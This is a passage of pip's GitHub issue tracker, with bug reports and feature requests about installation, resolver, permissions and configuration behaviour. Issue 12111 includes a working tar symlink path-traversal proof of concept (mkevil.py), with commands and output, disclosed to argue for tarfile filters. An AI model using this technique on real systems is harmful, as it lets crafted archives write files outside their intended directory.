  ../../../bin/pip
  ../../../bin/pip3
  ../../../bin/pip3.11
  pip-23.1.2.dist-info/AUTHORS.txt
  pip-23.1.2.dist-info/INSTALLER
```

### Describe the solution you'd like

python3 pip package should not create /usr/local/bin/pip 

### Alternative Solutions

nope

### Additional context

python2 pip package and python3 pip package has same /usr/local/bin/pip file， which could overwrite each other. 

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: stswandering
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12125: state: open
title: Add warning about the `MyProject @ git+file` format not working
body: See https://github.com/pypa/pip/issues/12124.

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: jparta
issue_12122: state: open
title: Add a warning to "Fallback behavior" doc snippet
body: Add a warning noting that the "Fallback behavior" doc snippet does not provide a good example of what projects put in `pyproject.toml` and instead link to the respective setuptools documentation.

In my experience, more than one project has either copied the snippets verbatim, or incorrectly included `wheel` in their `requires` based on it.

user: mgorny
issue_12114: state: open
title: AssertionError: No download_info for flask-restful~=0.3.8 with `--use-deprecated legacy-resolver`
body: ### Description

I'm trying out bleeding-edge `pip` for that juicy PEP 658 support and recently hit an assertion.

Looks like `--use-deprecated legacy-resolver` doesn't like reporting?

### Expected behavior

No kaboom?

### pip version

main @ 778b42ff81c00e914a397eb8ed56d516e00509db

### Python version

3.8

### OS

Linux

### How to Reproduce
```console
$ .venv/bin/pip --version
pip 23.2.dev0 from /home/josh/work/.venv/lib/python3.8/site-packages/pip (python 3.8)
$ .venv/bin/pip --disable-pip-version-check --no-python-version-warning --exists-action a --no-input --use-deprecated legacy-resolver --isolated -q  install --ignore-installed --dry-run --report - flask-restful~=0.3.8 --index-url https://pypi.org/simple --retries 5 --timeout 15
```
### Output
```
ERROR: Exception:
Traceback (most recent call last):
  File "/home/josh/work/.venv/lib/python3.8/site-packages/pip/_internal/cli/base_command.py", line 180, in exc_logging_wrapper
    status = run_func(*args)
  File "/home/josh/work/.venv/lib/python3.8/site-packages/pip/_internal/cli/req_command.py", line 248, in wrapper
    return func(self, options, args)
  File "/home/josh/work/.venv/lib/python3.8/site-packages/pip/_internal/commands/install.py", line 384, in run
    print_json(data=report.to_dict())
  File "/home/josh/work/.venv/lib/python3.8/site-packages/pip/_internal/models/installation_report.py", line 43, in to_dict
    "install": [
  File "/home/josh/work/.venv/lib/python3.8/site-packages/pip/_internal/models/installation_report.py", line 44, in <listcomp>
    self._install_req_to_dict(ireq) for ireq in self._install_requirements
  File "/home/josh/work/.venv/lib/python3.8/site-packages/pip/_internal/models/installation_report.py", line 15, in _install_req_to_dict
    assert ireq.download_info, f"No download_info for {ireq}"
AssertionError: No download_info for flask-restful~=0.3.8 from https://files.pythonhosted.org/packages/d7/7b/f0b45f0df7d2978e5ae51804bb5939b7897b2ace24306009da0cc34d8d1f/Flask_RESTful-0.3.10-py2.py3-none-any.whl
```
### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: thejcannon
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12113: state: open
title: Packages installed with -t/--target have permissions from installing user's home directory
body: ### Description

On Windows, when packages are installed to a specific location with -t/--target, the package directories have the permissions from the installing user's home directory rather than inheriting from the parent.

![accesschk](https://github.com/pypa/pip/assets/106619833/317ae1c2-15f5-4098-86c8-90bf5b9db992)


### Expected behavior

Package directories should inherit permissions from the parent directory when installed to a specific location.

### pip version

23.1.2

### Python version

3.11.4 64-bit

### OS

Windows 10 64-bit

### How to Reproduce

1. Create a directory and set the permissions so that, for example, the "Everyone" group has access
2. Install a package to the directory with a command line such as:
`py -m pip install -t C:\EveryoneDir\Packages httpx`
3. Use a tool such as accesschk (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk) to see the permissions on the directories

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Craig-Holmquist-NTI
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12111: state: open
title: Use tarfile filters (PEP 706) when unpacking?
body: ### Description

Hello,
This is a continuation of #11464, which unfortunately turned sour.

New security releases of Python add a `filter` argument to `tarfile.extract`, which allows filtering common security issues.
Python 3.12 will raise a `DeprecationWarning` if *filter* is not specified. I assume `pip` will want to avoid the warning.
Python 3.14 will change the default to [`tarfile.data_filter`](https://docs.python.org/3/library/tarfile.html#tarfile.data_filter).

What are your thoughts on how to best handle this? Happy to send a PR after a discussion.

Complicating factors:
- `pip` has its own elaborate code that's similar to `data_filter`, with different details that might need to be preserved
- for symlinks, `pip` reaches into CPython internals (`tar._extract_member`), which may avoid both the filtering and the warning.

Possible solutions I see:
- Use `data_filter` on Pythons that support it. Accept behaviour differences -- AFAIK the biggest one is in `mode` handling:
  -  `data_filter` sets `rwx?-??-?` if executable or `rw-?--?--` if not (`?`=keep info from tarball)
  - `pip` uses the OS default, then and adds all 3 executable bits if any are set in the tarball
- Use `data_filter` if available to raise exceptions (files/links outside target, device files), use existing mechanism if the filter doesn't fail
- Use the `fully_trusted` filter to silence warnings

---

In the previous issue, @pradyunsg said:

> Our security model is that sdists involve arbitrary code execution, so they can do basically anything in the build process.
>
> My point was that I think we should (and do) protect against certain classes of issues though, such as dumping files in arbitrary locations.

The latter is currently not true: pip's unpacking is vulnerable to symlink attacks. The attached reproducer makes `pip download evil.tar.gz` dump a file in `/tmp/poc`, without running arbitrary code.

As said before, given pip's security model this isn't a security issue -- AFAIK it could only become one if the function is copied/used as documented elsewhere.


### Expected behavior

_No response_

### pip version

main

### Python version

3.12

### OS

*nix, any

### How to Reproduce

`mkevil.py`:
```python
import tarfile

def mkinfo(name, **kwargs):
    tarinfo = tarfile.TarInfo(name=name)
    for name, value in kwargs.items():
        setattr(tarinfo, name, value)
    return tarinfo

with tarfile.open('evil.tar.gz', 'w:gz') as tf:
    tf.addfile(mkinfo('./pyproject.toml'))
    tf.addfile(mkinfo('./tmp', type=tarfile.SYMTYPE,
                      linkname='../../../../../../../../tmp'))
    tf.addfile(mkinfo('./tmp/poc'))
```

```
python mkevil.py
python -m pip download evil.tar.gz
ls ls /tmp/poc
```

### Output

```console
$ python mkevil.py 

$ python -m pip download evil.tar.gz
Looking in indexes: http://127.0.0.1:3141/root/pypi/+simple
Processing ./evil.tar.gz
  File was already downloaded /home/pviktori/dev/one-offs/pocs/tarfile-pip/evil.tar.gz
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Preparing metadata (pyproject.toml) ... done
Successfully downloaded UNKNOWN

$ ls /tmp/poc  # created by `pip download`
/tmp/poc
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: encukou
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12110: state: open
title: `pip install --find-links dist` no longer prefers local over PyPI (fails maturin CI)
body: ### Description

Since pip v20, if you have a package built locally and on PyPI at the same version,
the following command will prefer installing the PyPI package than the local build:

```bash
pip install mypkg --find-links dist --force-reinstall
```

If the local package has a newer version then that will be installed

This is a problem for e.g. `maturin generate-ci github --pytest` (https://github.com/PyO3/maturin/discussions/1680),
which builds the wheel (per OS), then installs and runs pytest.

It means that, for every PR, you have to ensure that you have bumped the version.

### Expected behavior

Either the behaviour is reverted, or there is a separate flag to enforce the behaviour, e.g. `--prefer-local`

### pip version

23.1.2

### Python version

3.10

### OS

Linux

### How to Reproduce

1. Upload a package to PyPI
2. Build the package wheel locally, without changing the version, into a `dist` folder
3. Run `pip install mypkg --find-links dist --force-reinstall`

### Output

With `pip-23.0.1`

```
Looking in links: dist
Collecting markdown_it_pyrs
  Downloading markdown_it_pyrs-0.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (2.1 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.1/2.1 MB 15.2 MB/s eta 0:00:00
Installing collected packages: markdown_it_pyrs
```

with `pip-19.3.1`

```
Processing ./dist/markdown_it_pyrs-0.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Installing collected packages: markdown-it-pyrs
Successfully installed markdown-it-pyrs-0.2.0
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: chrisjsewell
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12099: state: open
title: pip config debug doesn't separate the configuration shown for different files at the same "level"
body: ### Description

`pip config debug` doesn't correctly separate options as set by the different files.

```
env_var:
env:
global:
  /Library/Application Support/pip/pip.conf, exists: False
site:
  /Users/pgedam/Developer/github/pip/.venv/pip.conf, exists: False
user:
  /home/pgedam/.pip/pip.conf, exists: True
    install.require-virtualenv: true
    global.timeout: 60
  /home/pgedam/.config/pip/pip.conf, exists: True
    install.require-virtualenv: true
    global.timeout: 60
```

### Expected behavior

It should show which configuration options are loaded from which file:

```
env_var:
env:
global:
  /Library/Application Support/pip/pip.conf, exists: False
site:
  /Users/pgedam/Developer/github/pip/.venv/pip.conf, exists: False
user:
  /home/pgedam/.pip/pip.conf, exists: True
    install.require-virtualenv: true
  /home/pgedam/.config/pip/pip.conf, exists: True
    global.timeout: 60
```

### pip version

main, 20.3+

### Python version

N/A

### OS

N/A

### How to Reproduce

1. Create two configuration files as a user.
2. Provide different configuration values in them.
3. Run `pip config debug` and see the output.

### Output

(in description)

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: pradyunsg
labels: type: bug: A confirmed bug or unintended behavior
C: configuration: Configuration management and loading
C: output: Related to what pip prints
issue_12098: state: open
title: Apachebeam is installed yet pip is trying to download apache beam package
body: ### Description

Running a code using apache beam, and it is already installed on the VM. However, when I try to run my script it is trying to download apache-beam

WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ConnectTimeoutError(<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7ff9832b8160>, 'Connection to pypi.org timed out. (connect timeout=15)')': /simple/apache-beam/

pip3 list|grep apache
apache-beam                     2.38.0

### Expected behavior

_No response_

### pip version

21.3.1

### Python version

3.6.8

### OS

7.9

### How to Reproduce

Rerun the script

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: sshres5
labels: type: bug: A confirmed bug or unintended behavior
type: support: User Support
S: awaiting response: Waiting for a response/more information
S: needs triage: Issues/PRs that need to be triaged
issue_12097: state: open
title: "`$Python_home/scripts` on $PATH" check does not resolve symlinks
body: ### Description

Whenever I install a package and some executable is added to `C:\path\to\python\cur\Scripts`, and `cur` (or any of its parent folders) is a symbolic link, the following message appears:
```
  WARNING: The script pkginfo.exe is installed in 'C:\Users\Keyacom\scoop\apps\python\3.11.3\Scripts' which is not on PATH.
  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
```
## Reason
Executing the following command in PowerShell:
```ps1
$env:path -split ';' | sls 'C:\\Users\\Keyacom\\scoop\\apps'
```
gave me the following output:
```
C:\Users\Keyacom\scoop\apps\nodejs\current\bin
C:\Users\Keyacom\scoop\apps\nodejs\current
C:\Users\Keyacom\scoop\apps\ruby\current\bin
C:\Users\Keyacom\scoop\apps\ruby\current\gems\bin
C:\Users\Keyacom\scoop\apps\python\current\Scripts
C:\Users\Keyacom\scoop\apps\python\current
C:\Users\Keyacom\scoop\apps\postgresql\current\bin
C:\Users\Keyacom\scoop\apps\composer\current\home\vendor\bin
C:\Users\Keyacom\scoop\apps\elixir\current\bin
C:\Users\Keyacom\scoop\apps\luarocks\current\rocks\bin
```

`C:\Users\Keyacom\scoop\apps\python\current\Scripts` points to `C:\Users\Keyacom\scoop\apps\python\3.11.3\Scripts` because `C:\Users\Keyacom\scoop\apps\python\current` points to `C:\Users\Keyacom\scoop\apps\python\3.11.3`. However, pip doesn't see that and outputs this warning. Despite this, bare commands like `poetry` run properly.

### Expected behavior

`pip` should follow symlinks, and this message should not appear.

### pip version

23.1.2

### Python version

3.11.3

### OS

Microsoft Windows 11 Home (10.0.22621 N/A Build 22621)

### How to Reproduce

1. Install Python via [Scoop](https://scoop.sh/). (If you don't have Scoop yet, open PowerShell and execute the two commands listed under the search bar.)
2. Execute the command `pip install poetry`.

Alternative way:

1. Open PowerShell **as administrator**.
2. Execute the following commands (tweak for the actual Python installation directory):
    ```ps1
    $linkpath = 'pyhome'
    # This:
    New-Item -ItemType SymbolicLink $linkpath -Target C:\path\to\python
    # Or the shorthand:
    ni -i symboliclink $linkpath -ta C:\path\to\python
    $env:path += ';' + (rvpa $linkpath).path + '\scripts' # rvpa = Resolve-Path
    ```
3. Execute the command `pip install poetry`.

### Output

Full pip output:
```
Collecting poetry
  Downloading poetry-1.5.1-py3-none-any.whl (225 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 225.2/225.2 kB 2.3 MB/s eta 0:00:00
Collecting build<0.11.0,>=0.10.0 (from poetry)
  Using cached build-0.10.0-py3-none-any.whl (17 kB)
Collecting cachecontrol[filecache]<0.13.0,>=0.12.9 (from poetry)
  Downloading CacheControl-0.12.14-py2.py3-none-any.whl (21 kB)
Collecting cleo<3.0.0,>=2.0.0 (from poetry)
  Using cached cleo-2.0.1-py3-none-any.whl (77 kB)
Collecting crashtest<0.5.0,>=0.4.1 (from poetry)
  Using cached crashtest-0.4.1-py3-none-any.whl (7.6 kB)
Collecting dulwich<0.22.0,>=0.21.2 (from poetry)
  Downloading dulwich-0.21.5-cp311-cp311-win_amd64.whl (482 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 482.8/482.8 kB 7.5 MB/s eta 0:00:00
Collecting filelock<4.0.0,>=3.8.0 (from poetry)
  Downloading filelock-3.12.2-py3-none-any.whl (10 kB)
Collecting html5lib<2.0,>=1.0 (from poetry)
  Using cached html5lib-1.1-py2.py3-none-any.whl (112 kB)
Collecting installer<0.8.0,>=0.7.0 (from poetry)
  Downloading installer-0.7.0-py3-none-any.whl (453 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 453.8/453.8 kB 14.3 MB/s eta 0:00:00
Collecting jsonschema<5.0.0,>=4.10.0 (from poetry)
  Using cached jsonschema-4.17.3-py3-none-any.whl (90 kB)
Collecting keyring<24.0.0,>=23.9.0 (from poetry)
  Using cached keyring-23.13.1-py3-none-any.whl (37 kB)
Collecting lockfile<0.13.0,>=0.12.2 (from poetry)
  Using cached lockfile-0.12.2-py2.py3-none-any.whl (13 kB)
Requirement already satisfied: packaging>=20.4 in c:\users\keyacom\scoop\apps\python\3.11.3\lib\site-packages (from poetry) (23.1)
Collecting pexpect<5.0.0,>=4.7.0 (from poetry)
  Using cached pexpect-4.8.0-py2.py3-none-any.whl (59 kB)
Collecting pkginfo<2.0.0,>=1.9.4 (from poetry)
  Using cached pkginfo-1.9.6-py3-none-any.whl (30 kB)
Requirement already satisfied: platformdirs<4.0.0,>=3.0.0 in c:\users\keyacom\scoop\apps\python\3.11.3\lib\site-packages (from poetry) (3.5.1)
Collecting poetry-core==1.6.1 (from poetry)
  Downloading poetry_core-1.6.1-py3-none-any.whl (450 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 450.5/450.5 kB 27.5 MB/s eta 0:00:00
Collecting poetry-plugin-export<2.0.0,>=1.4.0 (from poetry)
  Downloading poetry_plugin_export-1.4.0-py3-none-any.whl (10 kB)
Collecting pyproject-hooks<2.0.0,>=1.0.0 (from poetry)
  Using cached pyproject_hooks-1.0.0-py3-none-any.whl (9.3 kB)
Requirement already satisfied: requests<3.0,>=2.18 in c:\users\keyacom\scoop\apps\python\3.11.3\lib\site-packages (from poetry) (2.31.0)
Collecting requests-toolbelt<2,>=0.9.1 (from poetry)
  Downloading requests_toolbelt-1.0.0-py2.py3-none-any.whl (54 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 54.5/54.5 kB ? eta 0:00:00
Collecting shellingham<2.0,>=1.5 (from poetry)
  Using cached shellingham-1.5.0.post1-py2.py3-none-any.whl (9.4 kB)
Requirement already satisfied: tomlkit<1.0.0,>=0.11.4 in c:\users\keyacom\scoop\apps\python\3.11.3\lib\site-packages (from poetry) (0.11.8)
Collecting trove-classifiers>=2022.5.19 (from poetry)
  Downloading trove_classifiers-2023.5.24-py3-none-any.whl (13 kB)
Collecting urllib3<2.0.0,>=1.26.0 (from poetry)
  Downloading urllib3-1.26.16-py2.py3-none-any.whl (143 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 143.1/143.1 kB 8.9 MB/s eta 0:00:00
Collecting virtualenv<21.0.0,>=20.22.0 (from poetry)
  Downloading virtualenv-20.23.1-py3-none-any.whl (3.3 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 3.3/3.3 MB 26.0 MB/s eta 0:00:00
Requirement already satisfied: colorama in c:\users\keyacom\scoop\apps\python\3.11.3\lib\site-packages (from build<0.11.0,>=0.10.0->poetry) (0.4.6)
Requirement already satisfied: msgpack>=0.5.2 in c:\users\keyacom\scoop\apps\python\3.11.3\lib\site-packages (from cachecontrol[filecache]<0.13.0,>=0.12.9->poetry) (1.0.5)
Collecting rapidfuzz<3.0.0,>=2.2.0 (from cleo<3.0.0,>=2.0.0->poetry)
  Downloading rapidfuzz-2.15.1-cp311-cp311-win_amd64.whl (1.8 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.8/1.8 MB 23.1 MB/s eta 0:00:00
Requirement already satisfied: six>=1.9 in c:\users\keyacom\scoop\apps\python\3.11.3\lib\site-packages (from html5lib<2.0,>=1.0->poetry) (1.16.0)
Collecting webencodings (from html5lib<2.0,>=1.0->poetry)
  Using cached webencodings-0.5.1-py2.py3-none-any.whl (11 kB)
Collecting attrs>=17.4.0 (from jsonschema<5.0.0,>=4.10.0->poetry)
  Downloading attrs-23.1.0-py3-none-any.whl (61 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 61.2/61.2 kB ? eta 0:00:00
Collecting pyrsistent!=0.17.0,!=0.17.1,!=0.17.2,>=0.14.0 (from jsonschema<5.0.0,>=4.10.0->poetry)
  Using cached pyrsistent-0.19.3-cp311-cp311-win_amd64.whl (62 kB)
Collecting jaraco.classes (from keyring<24.0.0,>=23.9.0->poetry)
  Using cached jaraco.classes-3.2.3-py3-none-any.whl (6.0 kB)
Collecting importlib-metadata>=4.11.4 (from keyring<24.0.0,>=23.9.0->poetry)
  Downloading importlib_metadata-6.7.0-py3-none-any.whl (22 kB)
Collecting pywin32-ctypes>=0.2.0 (from keyring<24.0.0,>=23.9.0->poetry)
  Downloading pywin32_ctypes-0.2.1-py3-none-any.whl (30 kB)
Collecting ptyprocess>=0.5 (from pexpect<5.0.0,>=4.7.0->poetry)
  Using cached ptyprocess-0.7.0-py2.py3-none-any.whl (13 kB)
Requirement already satisfied: charset-normalizer<4,>=2 in c:\users\keyacom\scoop\apps\python\3.11.3\lib\site-packages (from requests<3.0,>=2.18->poetry) (3.1.0)
Requirement already satisfied: idna<4,>=2.5 in c:\users\keyacom\scoop\apps\python\3.11.3\lib\site-packages (from requests<3.0,>=2.18->poetry) (3.4)
Requirement already satisfied: certifi>=2017.4.17 in c:\users\keyacom\scoop\apps\python\3.11.3\lib\site-packages (from requests<3.0,>=2.18->poetry) (2023.5.7)
Collecting distlib<1,>=0.3.6 (from virtualenv<21.0.0,>=20.22.0->poetry)
  Using cached distlib-0.3.6-py2.py3-none-any.whl (468 kB)
Collecting zipp>=0.5 (from importlib-metadata>=4.11.4->keyring<24.0.0,>=23.9.0->poetry)
  Downloading zipp-3.15.0-py3-none-any.whl (6.8 kB)
Collecting more-itertools (from jaraco.classes->keyring<24.0.0,>=23.9.0->poetry)
  Downloading more_itertools-9.1.0-py3-none-any.whl (54 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 54.2/54.2 kB 2.9 MB/s eta 0:00:00
Installing collected packages: webencodings, trove-classifiers, ptyprocess, lockfile, distlib, zipp, urllib3, shellingham, rapidfuzz, pywin32-ctypes, pyrsistent, pyproject-hooks, poetry-core, pkginfo, pexpect, more-itertools, installer, html5lib, filelock, crashtest, attrs, virtualenv, jsonschema, jaraco.classes, importlib-metadata, dulwich, cleo, build, requests-toolbelt, keyring, cachecontrol, poetry-plugin-export, poetry
  Attempting uninstall: urllib3
    Found existing installation: urllib3 2.0.2
    Uninstalling urllib3-2.0.2:
      Successfully uninstalled urllib3-2.0.2
  WARNING: The script pkginfo.exe is installed in 'C:\Users\Keyacom\scoop\apps\python\3.11.3\Scripts' which is not on PATH.
  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
  WARNING: The script virtualenv.exe is installed in 'C:\Users\Keyacom\scoop\apps\python\3.11.3\Scripts' which is not on PATH.
  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
  WARNING: The script jsonschema.exe is installed in 'C:\Users\Keyacom\scoop\apps\python\3.11.3\Scripts' which is not on PATH.
  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
  WARNING: The script dulwich.exe is installed in 'C:\Users\Keyacom\scoop\apps\python\3.11.3\Scripts' which is not on PATH.
  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
  WARNING: The script pyproject-build.exe is installed in 'C:\Users\Keyacom\scoop\apps\python\3.11.3\Scripts' which is not on PATH.
  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
  WARNING: The script keyring.exe is installed in 'C:\Users\Keyacom\scoop\apps\python\3.11.3\Scripts' which is not on PATH.
  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
  WARNING: The script doesitcache.exe is installed in 'C:\Users\Keyacom\scoop\apps\python\3.11.3\Scripts' which is not on PATH.
  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
  WARNING: The script poetry.exe is installed in 'C:\Users\Keyacom\scoop\apps\python\3.11.3\Scripts' which is not on PATH.
  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
Successfully installed attrs-23.1.0 build-0.10.0 cachecontrol-0.12.14 cleo-2.0.1 crashtest-0.4.1 distlib-0.3.6 dulwich-0.21.5 filelock-3.12.2 html5lib-1.1 importlib-metadata-6.7.0 installer-0.7.0 jaraco.classes-3.2.3 jsonschema-4.17.3 keyring-23.13.1 lockfile-0.12.2 more-itertools-9.1.0 pexpect-4.8.0 pkginfo-1.9.6 poetry-1.5.1 poetry-core-1.6.1 poetry-plugin-export-1.4.0 ptyprocess-0.7.0 pyproject-hooks-1.0.0 pyrsistent-0.19.3 pywin32-ctypes-0.2.1 rapidfuzz-2.15.1 requests-toolbelt-1.0.0 shellingham-1.5.0.post1 trove-classifiers-2023.5.24 urllib3-1.26.16 virtualenv-20.23.1 webencodings-0.5.1 zipp-3.15.0
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Keyacom
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12096: state: open
title: pip tries installing dependencies before verifying required python version
body: ### Description

I have an internal package that requires python 3.10 and this is reflected in the setup.cfg. When Installing the package with any python version less than 3.10, pip first tries to install the dependencies before installing my package, and only after installing the dependencies, throws the expected error, `Package '...' requires a different Python...`. 

The issue arises specifically when trying to install the package with python 3.11. First, pip attempts to install the dependencies, which throws an error. This means that pip never attempts to install my package, the one being installed, and therefore does not give the expected error telling the client that they are using the wrong python version. However, if the `--no-deps` flag is added, the error about the wrong python version is thrown immediately.

### Expected behavior

When running `pip install my-package` with dependencies `package-1`, `package-2`, the following steps happen:
1. pip verifies that `my-package` is compatible with my current python version and errors if not
2. install dependencies
3. install package

but currently step 2 happens first and steps 1 and 3 happen together. When there is an error while installing dependencies, the error about the having the wrong python version is never thrown, which in certain cases may be the root cause of the issue.

### pip version

23.1.2

### Python version

3.10

### OS

macOS Monterey 12.4 (M2 chip)

### How to Reproduce

Not a problem:
- Create a virtual environment that uses python 3.11
- Pip install a package that requires a different python version
Notice, before installing the actual package, the dependencies are installed, then when installing the actual package, you get the error that the python version is not compatible.

Problem:
The problem arises when you are installing a package that is not compatible with your python version and there is a dependency that throws an error when installing. My package has `pyarrow==8.0.0` as a dependency which does not install when using python 3.11 but it install fine when using 3.10.
- Create a virtual environment that uses python 3.11
- Pip install package 

### Output

`$ python -V`
```
Python 3.11.4
```
`$ pip install my-package`
```
Collecting my-package
  Downloading my-package (55 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 55.1/55.1 kB 521.4 kB/s eta 0:00:00
Requirement already satisfied: google-auth<3.0.0,>=2.11.1 in /opt/homebrew/Caskroom/miniforge/base/envs/env/lib/python3.11/site-packages (from my-package) (2.20.0)
Collecting google-auth-oauthlib<1.0.0,>=0.5.3 (from my-package)
  Using cached google_auth_oauthlib-0.8.0-py2.py3-none-any.whl (19 kB)
Collecting google-cloud-secret-manager<3.0.0,>=2.12.4 (from my-package)
  Using cached google_cloud_secret_manager-2.16.1-py2.py3-none-any.whl (116 kB)
Collecting google-cloud-storage<3.0.0,>=2.5.0 (from my-package)
  Using cached google_cloud_storage-2.9.0-py2.py3-none-any.whl (113 kB)
Collecting pandas<2.0.0,>=1.5.0 (from my-package)
  Using cached pandas-1.5.3-cp311-cp311-macosx_11_0_arm64.whl (10.8 MB)
Collecting polars<1.0.0,>=0.16.0 (from my-package)
  Using cached polars-0.18.3-cp37-abi3-macosx_11_0_arm64.whl (15.8 MB)
Collecting pyarrow<9.0.0,>=8.0.0 (from my-package)
  Using cached pyarrow-8.0.0.tar.gz (846 kB)
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Preparing metadata (pyproject.toml) ... done
Collecting pycountry<24.0.0,>=22.3.5 (from my-package)
  Using cached pycountry-22.3.5.tar.gz (10.1 MB)
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Preparing metadata (pyproject.toml) ... done
Collecting pydantic<2.0.0,>=1.10.2 (from my-package)
  Using cached pydantic-1.10.9-cp311-cp311-macosx_11_0_arm64.whl (2.5 MB)
Requirement already satisfied: requests<3.0.0,>=2.28.1 in /opt/homebrew/Caskroom/miniforge/base/envs/env/lib/python3.11/site-packages (from my-package) (2.31.0)
Collecting snowflake-connector-python<3.0.0,>=2.8.3 (from my-package)
  Using cached snowflake-connector-python-2.9.0.tar.gz (394 kB)
  Installing build dependencies ... error
  error: subprocess-exited-with-error

...
...

      -- Configuring incomplete, errors occurred!
      error: command '/opt/homebrew/bin/cmake' failed with exit code 1
      [end of output]

  note: This error originates from a subprocess, and is likely not a problem with pip.
  ERROR: Failed building wheel for pyarrow
Failed to build pyarrow
ERROR: Could not build wheels for pyarrow, which is required to install pyproject.toml-based projects
```

=================================================================

`$ python -V`
```
Python 3.11.4
```
`$ pip install my-package --no-deps`
```
Collecting my-package
  Downloading my-package (55 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 55.1/55.1 kB 376.6 kB/s eta 0:00:00
INFO: pip is looking at multiple versions of my-package to determine which version is compatible with other requirements. This could take a while.
ERROR: Package 'my-package' requires a different Python: 3.11.4 not in '==3.10.*'
````

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ir3456
labels: type: bug: A confirmed bug or unintended behavior
S: awaiting response: Waiting for a response/more information
S: needs triage: Issues/PRs that need to be triaged
issue_12093: state: open
title: Add documentation for CLI architecture
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

This PR adds documentation for the command line interface architecture, mentioned on #6831.
If accepted, another check could be done on this [comment](https://github.com/pypa/pip/issues/6831#issuecomment-598859909) :).
Also, it may be helpful with #4659.

If the contents don't correspond to what it was expected, please let me know to update it accordingly.
user: plaguss
issue_12090: state: open
title: Forward warnings during backend calls to the subprocess logger
body: This is the supporting change to https://github.com/pypa/pyproject-hooks/pull/171, with the logic changes in pip. As it is, this is a little messy but it works nicely.

This is not API-compatible with the existing pyproject-hooks, since it imports `BuildBackendWarning` which doesn't exist in the currently vendored copy.

(and, yes, I considered using `logging.captureWarnings` but discarded that idea since I wanted to filter for only `BuildBackendWarning` in that context)
user: pradyunsg
issue_12088: state: open
title: Allow pip install --executable=/path to set #! path in scripts.
body: This is useful for cross-compiling, when the path to the Python executable that is being used to run pip, available at sys.executable, is not the same as the path to the Python executable that the installed product in a cross-compiled system needs to run.

For example, if your toolchain lives at /build/aarch64--netbsd but you're building software to be installed at /opt/pkg, then sys.executable might be /build/aarch64--netbsd/bin/python3.10 but the shebang line of any scripts installed must /opt/pkg/bin/python3.10. With this change, you can accomplish that with:

